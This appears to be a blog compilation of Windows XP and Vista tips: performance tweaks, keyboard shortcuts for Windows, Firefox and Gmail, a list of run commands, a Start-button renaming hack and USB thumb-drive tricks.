13.) Turn off any and all unnecessary animations, and disable active desktop. In fact, for optimal performance, turn off all animations. Windows XP offers many different settings in this area. Here's how to do it: First click on the System icon in the Control Panel. Next, click on the Advanced tab. Select the Settings button located under Performance. Feel free to play around with the options offered here, as nothing you can change will alter the reliability of the computer -- only its responsiveness.

14.) If your customer is an advanced user who is comfortable editing their registry, try some of the performance registry tweaks offered at Tweak XP.

15.) Visit Microsoft's Windows update site regularly, and download all updates labeled Critical. Download any optional updates at your discretion.

16.) Update the customer's anti-virus software on a weekly, even daily, basis. Make sure they have only one anti-virus software package installed. Mixing anti-virus software is a sure way to spell disaster for performance and reliability.

17.) Make sure the customer has fewer than 500 type fonts installed on their computer. The more fonts they have, the slower the system will become. While Windows XP handles fonts much more efficiently than did the previous versions of Windows, too many fonts -- that is, anything over 500 -- will noticeably tax the system.

18.) Do not partition the hard drive. Windows XP's NTFS file system runs more efficiently on one large partition. The data is no safer on a separate partition, and a reformat is never necessary to reinstall an operating system. The same excuses people offer for using partitions apply to using a folder instead. For example, instead of putting all your data on the D: drive, put it in a folder called "D drive." You'll achieve the same organizational benefits that a separate partition offers, but without the degradation in system performance. Also, your free space won't be limited by the size of the partition; instead, it will be limited by the size of the entire hard drive. This means you won't need to resize any partitions, ever. That task can be time-consuming and also can result in lost data.

19.) Check the system's RAM to ensure it is operating properly. I recommend using a free program called MemTest86. The download will make a bootable CD or diskette (your choice), which will run 10 extensive tests on the PC's memory automatically after you boot to the disk you created. Allow all tests to run until at least three passes of the 10 tests are completed. If the program encounters any errors, turn off and unplug the computer, remove a stick of memory (assuming you have more than one), and run the test again. Remember, bad memory cannot be repaired, but only replaced.

20.) If the PC has a CD or DVD recorder, check the drive manufacturer's Web site for updated firmware. In some cases you'll be able to upgrade the recorder to a faster speed. Best of all, it's free.

21.) Disable unnecessary services. Windows XP loads a lot of services that your customer most likely does not need. To determine which services you can disable for your client, visit the Black Viper site for Windows XP configurations.

22.) If you're sick of a single Windows Explorer window crashing and then taking the rest of your OS down with it, then follow this tip: open My Computer, click on Tools, then Folder Options. Now click on the View tab. Scroll down to "Launch folder windows in a separate process," and enable this option. You'll have to reboot your machine for this option to take effect.

23.) At least once a year, open the computer's cases and blow out all the dust and debris. While you're in there, check that all the fans are turning properly. Also inspect the motherboard capacitors for bulging or leaks. For more information on this leaking-capacitor phenomena, you can read numerous articles on my site.


Following any of these suggestions should result in noticeable improvements to the performance and reliability of your customers' computers. If you still want to defrag a disk, remember that the main benefit will be to make your data more retrievable in the event of a crashed drive.

fixed corrupt file in windows

// Introduction //
This tutorial has been made so people that are having problems with corrupted files, can learn how to fix them easy.

// Required //
+ Windows XP operating system
+ Windows XP cd

// Right to the tutorial //
+ Place the xp cd in your cd/dvd drive
+ Go to start
+ run
+ type in 'sfc /scannow' (without the ')

Now it should all load, and fix all your corrupted file on windows XP

all win xp shortcuts

Windows Shortcuts

Shift + F10 right-clicks.

Win + L (XP Only): Locks keyboard. Similar to Lock Workstation.

Win + F or F3: Open Find dialog. (All Files) F3 may not work in some applications which use F3 for their own find dialogs.

Win + Control + F: Open Find dialog. (Computers)

Win + U: Open Utility Manager.

Win + F1: Open Windows help.

Win + Pause: Open System Properties dialog.

Win + Tab: Cycle through taskbar buttons. Enter clicks, AppsKey or Shift + F10 right-clicks.

Win + Shift + Tab: Cycle through taskbar buttons in reverse.

Alt + Tab: Display Cool Switch. More commonly known as the AltTab dialog.

Alt + Shift + Tab: Display Cool Switch; go in reverse.

Alt + Escape: Send active window to the bottom of the z-order.

Alt + Shift + Escape: Activate the window at the bottom of the z-order.

Alt + F4: Close active window; or, if all windows are closed, open shutdown dialog.

Shift while a CD is loading: Bypass AutoPlay.

Shift while login: Bypass startup folder. Only those applications will be ignored which are in the startup folder, not those started from the registry (Microsoft\Windows\CurrentVersion\Run\)

Ctrl + Alt + Delete or Ctrl + Alt + NumpadDel (Both NumLock states): Invoke the Task Manager or NT Security dialog.

Ctrl + Shift + Escape (2000/XP ) or (Ctrl + Alt + NumpadDot) : Invoke the task manager. On earlier OSes, acts like Ctrl + Escape.

Print screen: Copy screenshot of current screen to clipboard.

Alt + Print screen: Copy screenshot of current active window to clipboard.

Ctrl + Alt + Down Arrow: Invert screen. Untested on OS's other than XP.

Ctrl + Alt + Up Arrow: Undo inversion.

Win + B : Move focus to systray icons.


General


Ctrl + C or Ctrl + Insert: Copy.

Ctrl + X or Shift + Delete: Cut.

Ctrl + V or Shift + Insert: Paste/Move.

Ctrl + N: New... File, Tab, Entry, etc.

Ctrl + S: Save.

Ctrl + O: Open...

Ctrl + P: Print.

Ctrl + Z: Undo.

Ctrl + A: Select all.

Ctrl + F: Find...

Ctrl+W : to close the current window

Ctrl + F4: Close tab or child window.

F1: Open help.

F11: Toggle full screen mode.

Alt or F10: Activate menu bar.

Alt + Space: Display system menu. Same as clicking the icon on the titlebar.

Escape: Remove focus from current control/menu, or close dialog box.

General Navigation


Tab: Forward one item.

Shift + Tab: Backward one item.

Ctrl + Tab: Cycle through tabs/child windows.

Ctrl + Shift + Tab: Cycle backwards through tabs/child windows.

Enter: If a button's selected, click it, otherwise, click default button.

Space: Toggle items such as radio buttons or checkboxes.

Alt + (Letter): Activate item corresponding to (Letter). (Letter) is the underlined letter on the item's name.

Ctrl + Left: Move cursor to the beginning of previous word.

Ctrl + Right: Move cursor to the beginning of next word.

Ctrl + Up: Move cursor to beginning of previous paragraph. This and all subsequent Up/Down hotkeys in this section have only been known to work in Rich Edit controls.

Ctrl + Down: Move cursor to beginning of next paragraph.

Shift + Left: Highlight one character to the left.

Shift + Right: Highlight one character to the right.

Shift + Up: Highlight from current cursor position, to one line up.

Shift + Down: Highlight from current cursor position, to one line down.

Ctrl + Shift + Left: Highlight to beginning of previous word.

Ctrl + Shift + Right: Highlight to beginning of next word.

Ctrl + Shift + Up: Highlight to beginning of previous paragraph.

Ctrl + Shift + Down: Highlight to beginning of next paragraph.

Home: Move cursor to top of a scrollable control.

End: Move cursor to bottom of a scrollable control.

File Browser

Arrow Keys: Navigate.

Shift + Arrow Keys: Select multiple items.

Ctrl + Arrow Keys: Change focus without changing selection. "Focus" is the object that will run on Enter. Space toggles selection of the focused item.

(Letter): Select first found item that begins with (Letter).

BackSpace: Go up one level to the parent directory.

Alt + Left: Go back one folder.

Alt + Right: Go forward one folder.

Enter: Activate (Double-click) selected item(s).

Alt + Enter: View properties for selected item.

F2: Rename selected item(s).

Ctrl + NumpadPlus: In a Details view, resizes all columns to fit the longest item in each one.

Delete: Delete selected item(s).

Shift + Delete: Delete selected item(s); bypass Recycle Bin.

Ctrl while dragging item(s): Copy.

Ctrl + Shift while dragging item(s): Create shortcut(s).

In tree pane, if any:

Left: Collapse the current selection if expanded, or select the parent folder.

Right: Expand the current selection if collapsed, or select the first subfolder.

Numpad Asterisk: Expand currently selected directory and all subdirectories. No undo.

Numpad Plus: Expand currently selected directory.

Numpad Minus: Collapse currently selected directory.

Accessibility

Right Shift for eight seconds: Toggle FilterKeys on and off. FilterKeys must be enabled.

Left Alt + Left Shift + PrintScreen: Toggle High Contrast on and off. High Contrast must be enabled.

Left Alt + Left Shift + NumLock: Toggle MouseKeys on and off. MouseKeys must be enabled.

NumLock for five seconds: Toggle ToggleKeys on and off. ToggleKeys must be enabled.

Shift five times: Toggle StickyKeys on and off. StickyKeys must be enabled.

6.) Microsoft Natural Keyboard with IntelliType Software Installed

Win + L: Log off Windows.

Win + P: Open Print Manager.

Win + C: Open control panel.

Win + V: Open clipboard.

Win + K: Open keyboard properties.

Win + I: Open mouse properties.

Win + A: Open Accessibility properties.

Win + Space: Displays the list of Microsoft IntelliType shortcut keys.

Win + S: Toggle CapsLock on and off.

Remote Desktop Connection Navigation



Ctrl + Alt + End: Open the NT Security dialog.

Alt + PageUp: Switch between programs.

Alt + PageDown: Switch between programs in reverse.

Alt + Insert: Cycle through the programs in most recently used order.

Alt + Home: Display start menu.

Ctrl + Alt + Break: Switch the client computer between a window and a full screen.

Alt + Delete: Display the Windows menu.

Ctrl + Alt + NumpadMinus: Place a snapshot of the entire client window area on the Terminal server clipboard and provide the same functionality as pressing Alt + PrintScreen on a local computer.

Ctrl + Alt + NumpadPlus: Place a snapshot of the active window in the client on the Terminal server clipboard and provide the same functionality as pressing PrintScreen on a local computer.

Mozilla Firefox Shortcuts

Ctrl + Tab or Ctrl + PageDown: Cycle through tabs.

Ctrl + Shift + Tab or Ctrl + PageUp: Cycle through tabs in reverse.

Ctrl + (1-9): Switch to tab corresponding to number.

Ctrl + N: New window.

Ctrl + T: New tab.

Ctrl + L or Alt + D or F6: Switch focus to location bar.

Ctrl + Enter: Open location in new tab.

Shift + Enter: Open location in new window.

Ctrl + K or Ctrl + E: Switch focus to search bar.

Ctrl + O: Open a local file.

Ctrl + W: Close tab, or window if there's only one tab open.

Ctrl + Shift + W: Close window.

Ctrl + S: Save page as a local file.

Ctrl + P: Print page.

Ctrl + F or F3: Open find toolbar.

Ctrl + G or F3: Find next...

Ctrl + Shift + G or Shift + F3: Find previous...

Ctrl + B or Ctrl + I: Open Bookmarks sidebar.

Ctrl + H: Open History sidebar.

Escape: Stop loading page.

Ctrl + R or F5: Reload current page.

Ctrl + Shift + R or Ctrl + F5: Reload current page; bypass cache.

Ctrl + U: View page source.

Ctrl + D: Bookmark current page.

Ctrl + NumpadPlus or Ctrl + Equals (+/=): Increase text size.

Ctrl + NumpadMinus or Ctrl + Minus: Decrease text size.

Ctrl + Numpad0 or Ctrl + 0: Set text size to default.

Alt + Left or Backspace: Back.

Alt + Right or Shift + Backspace: Forward.

Alt + Home: Open home page.

Ctrl + M: Open new message in integrated mail client.

Ctrl + J: Open Downloads dialog.

F6: Switch to next frame. You must have selected something on the page already, e.g. by use of Tab.

Shift + F6: Switch to previous frame.

Apostrophe ('): Find link as you type.

Slash (/): Find text as you type.

Gmail Shortcuts

Note: Must have "keyboard shortcuts" on in settings.

C: Compose new message.

Shift + C: Open new window to compose new message.

Slash (/): Switch focus to search box.

K: Switch focus to the next most recent email. Enter or "O" opens focused email.

J: Switch focus to the next oldest email.

N: Switch focus to the next message in the "conversation." Enter or "O" expands/collapses messages.

P: Switch focus to the previous message.

U: Takes you back to the inbox and checks for new mail.

Y: Various actions depending on current view:

Has no effect in "Sent" and "All Mail" views.

Inbox: Archive email or message.

Starred: Unstar email or message.

Spam: Unmark as spam and move back to "Inbox."

Trash: Move back to "Inbox."

Any label: Remove the label.

X: "Check" an email. Various actions can be performed against all checked emails.

S: "Star" an email. Identical to the more familiar term, "flagging."

R: Reply to the email.

A: Reply to all recipients of the email.

F: Forward an email.

Shift + R: Reply to the email in a new window.

Shift + A: Reply to all recipients of the email in a new window.

Shift + F: Forward an email in a new window.

Shift + 1 (!): Mark an email as spam and remove it from the inbox.

G then I: Switch to "Inbox" view.

G then S: Switch to "Starred" view.

G then A: Switch to "All Mail" view.

G then C: Switch to "Contacts" view.

G then S: Switch to "Drafts" view.

List of F1-F9 Key Commands for the Command Prompt



F1 / right arrow: Repeats the letters of the last command line, one by one.

F2: Displays a dialog asking user to "enter the char to copy up to" of the last command line

F3: Repeats the last command line

F4: Displays a dialog asking user to "enter the char to delete up to" of the last command line

F5: Goes back one command line

F6: Enters the traditional CTRL+Z (^z)

F7: Displays a menu with the command line history

F8: Cycles back through previous command lines (beginning with most recent)

F9: Displays a dialog asking user to enter a command number, where 0 is for first command line entered.

Alt+Enter: toggle full Screen mode.

up/down: scroll thru/repeat previous entries

Esc: delete line

Note: The buffer allows a maximum of 50 command lines. After this number is reached, the first line will be replaced in sequence.

Helpful accessibility keyboard shortcuts

Switch FilterKeys on and off. Right SHIFT for eight seconds

Switch High Contrast on and off. Left ALT +left SHIFT +PRINT SCREEN

Switch MouseKeys on and off. Left ALT +left SHIFT +NUM LOCK

Switch StickyKeys on and off. SHIFT five times

Switch ToggleKeys on and off. NUM LOCK for five seconds

rename start button in xp

To rename the start button, you will need a hex editor.
My preference is UltraEdit

Copy the \windows\explore.exe file to a new name (e.g. explorer_1.exe)
With the hex editor, open that file and go to offset 412b6
You will see the word start with blanks between each letter
Edit it be any 5 characters or less
Save the file
Boot to DOS
Copy the existing c:\windows\explorer.exe to explorer.org
Copy explorer_1.exe to explorer.exe
You will also need to replace the explorer.exe in the c:\windows\system32\dllcache file as well with the new one.
Note: If the partition is NTFS and you can't access the files from DOS:

Start Regedit
Go to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon.
Change the value of Shell from Explorer.exe to explorer_1.exe

move cursor without mouse

1. 
   

   How to move your mouse cursor without mouse?

2. 
   
   You can control your mouse pointer with keyboard keys in all windows versions.
3. 
   
   When your mouse stops working, you can enable this keyboard feature to complete your
4. 
   
   important work. This keyboard mouse can performs all tasks same like a normal mouse.
   
   Follow the given steps to activate the keyboard mouse:
   
   To edit this feature, first you should log onto your computer with administrative rights.
   
   To activate this feature, press Alt+Shift+NumLock keys at once and you will receive a small MouseKey box.
   
   To keep MouseKeys on, click on Ok button or click on cancel button to cancel MouseKeys box.
   
   Click on Settings button, if you want to adjust the mouse cursor detail settings.
   
   Here a new dialog box will appear with the title "Settings for MouseKeys", now you can manage all mouse settings
5. 
   
   for example mouse cursor speed, acceleration and some other features.
   
   Now using Numeric keypad, you can move your mouse pointer. The controls are:
   
   1,2,3,4,6,7,8 and 9 keys are used to move the mouse cursor into different directions.
   
   Key 5 is used as mouse click button.
   
   Insert key used to hold down mouse button.
   
   + Sign used to double click on any object.
   
   Delete button used to release the mouse.
   
   Click on NumLock button to disable this keyboard mouse feature

all run commands

Accessibility Controls	access.cpl
Add Hardware Wizard	hdwwiz.cpl
Add/Remove Programs	appwiz.cpl
Administrative Tools	control admintools
Automatic Updates	wuaucpl.cpl
Bluetooth Transfer Wizard	fsquirt
Calculator	calc
Certificate Manager	certmgr.msc
Character Map	charmap
Check Disk Utility	chkdsk
Clipboard Viewer	clipbrd
Command Prompt	cmd
Component Services	dcomcnfg
Computer Management	compmgmt.msc
timedate.cpl	ddeshare
Device Manager	devmgmt.msc
Direct X Control Panel (If Installed)*	directx.cpl
Direct X Troubleshooter	dxdiag
Disk Cleanup Utility	cleanmgr
Disk Defragment	dfrg.msc
Disk Management	diskmgmt.msc
Disk Partition Manager	diskpart
Display Properties	control desktop
Display Properties	desk.cpl
Display Properties (w/Appearance Tab Preselected)	control color
Dr. Watson System Troubleshooting Utility	drwtsn32
Driver Verifier Utility	verifier
Event Viewer	eventvwr.msc
File Signature Verification Tool	sigverif
Findfast	findfast.cpl
Folders Properties	control folders
Fonts	control fonts
Fonts Folder	fonts
Free Cell Card Game	freecell
Game Controllers	joy.cpl
Group Policy Editor (XP Prof)	gpedit.msc
Hearts Card Game	mshearts
Iexpress Wizard	iexpress
Indexing Service	ciadv.msc
Internet Properties	inetcpl.cpl
IP Configuration (Display Connection Configuration)	ipconfig /all
IP Configuration (Display DNS Cache Contents)	ipconfig /displaydns
IP Configuration (Delete DNS Cache Contents)	ipconfig /flushdns
IP Configuration (Release All Connections)	ipconfig /release
IP Configuration (Renew All Connections)	ipconfig /renew
IP Configuration (Refreshes DHCP & Re-Registers DNS)	ipconfig /registerdns
IP Configuration (Display DHCP Class ID)	ipconfig /showclassid
IP Configuration (Modifies DHCP Class ID)	ipconfig /setclassid
Java Control Panel (If Installed)	jpicpl32.cpl
Java Control Panel (If Installed)	javaws
Keyboard Properties	control keyboard
Local Security Settings	secpol.msc
Local Users and Groups	lusrmgr.msc
Logs You Out Of Windows	logoff
Microsoft Chat	winchat
Minesweeper Game	winmine
Mouse Properties	control mouse
Mouse Properties	main.cpl
Network Connections	control netconnections
Network Connections	ncpa.cpl
Network Setup Wizard	netsetup.cpl
Notepad	notepad
Nview Desktop Manager (If Installed)	nvtuicpl.cpl
Object Packager	packager
ODBC Data Source Administrator	odbccp32.cpl
On Screen Keyboard	osk
Opens AC3 Filter (If Installed)	ac3filter.cpl
Password Properties	password.cpl
Performance Monitor	perfmon.msc
Performance Monitor	perfmon
Phone and Modem Options	telephon.cpl
Power Configuration	powercfg.cpl
Printers and Faxes	control printers
Printers Folder	printers
Private Character Editor	eudcedit
Quicktime (If Installed)	QuickTime.cpl
Regional Settings	intl.cpl
Registry Editor	regedit
Registry Editor	regedit32
Remote Desktop	mstsc
Removable Storage	ntmsmgr.msc
Removable Storage Operator Requests	ntmsoprq.msc
Resultant Set of Policy (XP Prof)	rsop.msc
Scanners and Cameras	sticpl.cpl
Scheduled Tasks	control schedtasks
Security Center	wscui.cpl
Services	services.msc
Shared Folders	fsmgmt.msc
Shuts Down Windows	shutdown
Sounds and Audio	mmsys.cpl
Spider Solitare Card Game	spider
SQL Client Configuration	cliconfg
System Configuration Editor	sysedit
System Configuration Utility	msconfig
System File Checker Utility (Scan Immediately)	sfc /scannow
System File Checker Utility (Scan Once At Next Boot)	sfc /scanonce
System File Checker Utility (Scan On Every Boot)	sfc /scanboot
System File Checker Utility (Return to Default Setting)	sfc /revert
System File Checker Utility (Purge File Cache)	sfc /purgecache
System File Checker Utility (Set Cache Size to size x)	sfc /cachesize=x
System Properties	sysdm.cpl
Task Manager	taskmgr
Telnet Client	telnet
User Account Management	nusrmgr.cpl
Utility Manager	utilman
Windows Firewall	firewall.cpl
Windows Magnifier	magnify
Windows Management Infrastructure	wmimgmt.msc
Windows System Security Tool	syskey
Windows Update Launches	wupdmgr
Windows XP Tour Wizard	tourstart
Wordpad	write

Tips for vista users

1, Increase external USB hard drive per­formance.
By default, USB storage devices have write caching totally disabled primarily so you can unplug them without bothering with the Safety Remove Software icon in the Tray. Al­though this is handy for flash drives, it significantly slows down external usb drives . First, plug in your external USB drive, right-click Computer in the Start menu, and choose Properties. Then, click the Device Manager link, expand the Disk Drives entry by clicking the plus (+) sign, and double-click your external USB hard drive . Click the Policies tab and then click Optimize for Performance. This makes two more options appear: Enable Write Caching on the Disk and Enabled Advance Per­formance. Enable both options and click OK. Rebooting enables the change.

2, Increase SATA drive performance.
Vista's write caching is fairly conserva­tive by default in order to prevent data loss in the event of a power fail­ure. It your desktop PC is connected to a UPS (uninterruptable power sup­ply), or if you're using a note book with a reliable battery, you can set the write caching to be more aggressive. Right-click Computer in the Start menu, choose Properties, and then click the Device Manager link. Expand the Disk Drives entry by clicking on the plus (+) symbol and then double-click your SATA hard drive. Click the Policies tab, check Enable Advanced Performance, and click OK. Rebooting Vista will enable this change.


3, Disable Network Printer Search.

Vista normally searches for new net­work printers when you browse your LAN. But if you aren't regularly ad­ding printers to your network, this searching slows things down. To dis­able this feature, click Network from the Start menu, which opens the Network window. Press ALT to make the Menu Bar visible if it isn't already and then choose Polder Options from the Tools menu. Finally, click the View tab. uncheck Automatically Search for Network Printers, and then click OK.


4, Turn unneeded Vista features off.

adds hundreds of fea­tures when it is installed. Not all of them arc enabled by default, but you probably don't need many that arc, any­way. Disabling those you don't need saves resources and speeds your system up. To find these and disable them, open the Windows Control Panel and switch to Classic View. Next, double click the Programs and Features icon and then click the Turn Windows Features on or off link on the left side or the window. After a moment, a large list appears with checkboxes. Those that are checked are enabled and those that aren't arc disabled. Different versions of Vista have different features enabled, so expand any collapsible entries by click­ing the plus (+) sign to see what's turned on and disable what you don't need. For example, if you don't have a Tablet PC, you can safely disable Tablet PC Options Components. Click OK when you're done, and your computer will restart if necessary

defragmantation -speed up your pc

defragment your drives and speed up your pc

If your Windows XP or Vista is getting slow, a wise thing to do is to defragment your hard drives!defragment There are many programs but one of the best is Auslogics Disk Defragmenter. Just download the defragmenter, install it and run defragment. It should take approximately 1 hour and it says how much faster your computer went (for example 30%). When the program has completed defragmenting you should immediately feel the difference (if the percent was over 30). Your computer should now be much faster than it used to be. Programs start up in a glance! Yes, I know Windows XP also has a built-in defragmenting tool, but it sucks.

TOP 10 usb tricks (pen drive)

10 Tricks With A USB Thumb Drive

Any ordinary USB memory device can do a lot more than you probably thought it could. It can carry programs, encryption and even a full installation of Windows XP! Here is our tenlist for the coolest things you can do with a USB thumb drive:

Take your programs with you We all know how frustrating it is when we take your files to another computer just to discover that the software required to read the files is not installed. Here’s the simplest solution - take your programs with you - on your USB thumb drive. Here’s how to do it with Portable Apps: 1. Go to the Portable Apps website and download the installer, choosing the software you want to carry along. 2. Run the installer and install the software to the root of your USB thumb drive. And you’re done! As soon as you connect your thumb drive into a computer, Portable Apps will open up automatically.

 Surf anonymously With Portable Apps and Firefox, you can surf the web without leaving any trace on the computer you are using. If you want extra security, install a Firefox security plugin such as FoxyProxy. To iput Firefox onto the drive, just copy-paste the Firefox folder from you computer, or install Firefox onto the thumb drive.

Set a program to run automatically (autorun) Using autorun, you can set a program to start up automatically when you connect the drive to a computer. You can also use the same script for a data CD-ROM. Note that some computers have autorun disabled for security purposes. [Here's how to disable autorun.] Open up notepad and paste the following script:

[autorun] ShellExecute=filename Label=description UseAutoPlay=1

Make sure you replace filename with the full path to the file. For example, a file called program.exe in a folder called “programs” on the thumb drive would be /programs/program.exe Replace description with a short description of the program, for example, My Jukebox or Mozilla Firefox. Save the file as autorun.inf, making sure you select “All Programs” from the save menu, not “Text document”!

Help! I’m lost! Ever lost a USB drive? Even if you haven’t, there’s a pretty good chance you’ll lose a few during your life. And with all the important information on it, it could be a disaster to have it fall into someone’s hands. A good idea is to encrypt all the information on the drive, but you would still want it back, wouldn’t you? Luckily, the folks at the Daily Cup Of Tech have come up with a solution. Save a program called “Help! I’m Lost!” on the drive, that a finder just can’t get around opening. The program opens a message box with your personal “I’m lost” message. It’s a good idea to offer the finder a bigger reward than the drive itself, so that they’ll be interested in contacting you.

Hide the drive inside something Why not surprise your friends and co-workers by sticking something that looks like a broken USB cable into the computer’s USB drive? You’ll be sure to get a few shocked faces when you start to play a movie from it. The guys from Technobuzz.net show us how to do it. (You are gonna need an unbelievably small thumb drive for this…)

Secure your PC Just like with an RFID badge, you can use a USB drive to lock and unlock a PC. Insert it to begin working and pull it out when you’ve finished, locking the computer. There are several programs for this . Rohos, a commercial program and WiKID, a semi-open source one. If you really need to secure your computer with a USB drive, I suggest you give Rohos a try, as WiKID is rather complicated.

Portable jukebox Don’t just carry the music with you, also carry the player! You can install audio programs such as WinAmp and CoolPlayer+ on your thumb drive. Just unextract the ZIP folders to the USB drive. If you want the jukebox to start up automatically when you connect the memory stick to the computer, use the autorun feature shown tip 3 and point it to the exe of your audio player.
Encrypt your data If you carry any sensitive indormation on your USB memory stick, a good idea is to encrypt it. Hardware-level encryption will help, but it will cost extra. You can get a free program to encrypt your data just as securely. For this I recommend TrueCrypt, but most others will also do. You will need admin access on the computer you want to use your encrypted thumb drive on, so this it’s usability a little.

Run a standalone OS for dedicated tasks The easiest OS to boot from a USB drive is probably Linux. There are many small capacity Linux versions out there that will fit on your drive. The best 3 are Puppy Linux, Damn Small Linux and Webconverger. Make sure you select a version that needs less space than your USB drive’s maximum, so you have room for files and software. And this leads us nicely to the final tip…


Run Windows itself from a USB thumb drive
Modifying Windows to work on a USB drive is quite difficult, but luckily there are some tools that will do it for us. Note that you will need a separate Windows license for this, as Microsoft only lets you use one for each single computer, and a USB drive is treated by them like a computer… What you’ll need:

1. A licensed copy of Windows
2. A USB device, min. 1GB (We recommend a USB hard disk, as a flash memory stick will become unusable after 100000 writing processes. Assuming that only 2 processes are used per second, the drive will last only 60 days with 8 hours of work each day… A hard disk doesn’t have this problem.)

recover disk

Have a damaged CD or DVD that your computer can’t read? - Recover Disk can help you out. It doesn’t matter if the disk is scratched, microwaved or just incorrectly written. To be honest, I didn’t try the microwave experiment and I recommend you don’t as well. To relieve your curiosity and save you from a harmful dose of radiation, the picture on the right shows you what a CD looks like after a bit of “cooking”. This experiment is really bad for both the microwave oven and the CD, so I tried a safer way of testing Recover Disk out - using the good old keys and screwdriver on the poor CD…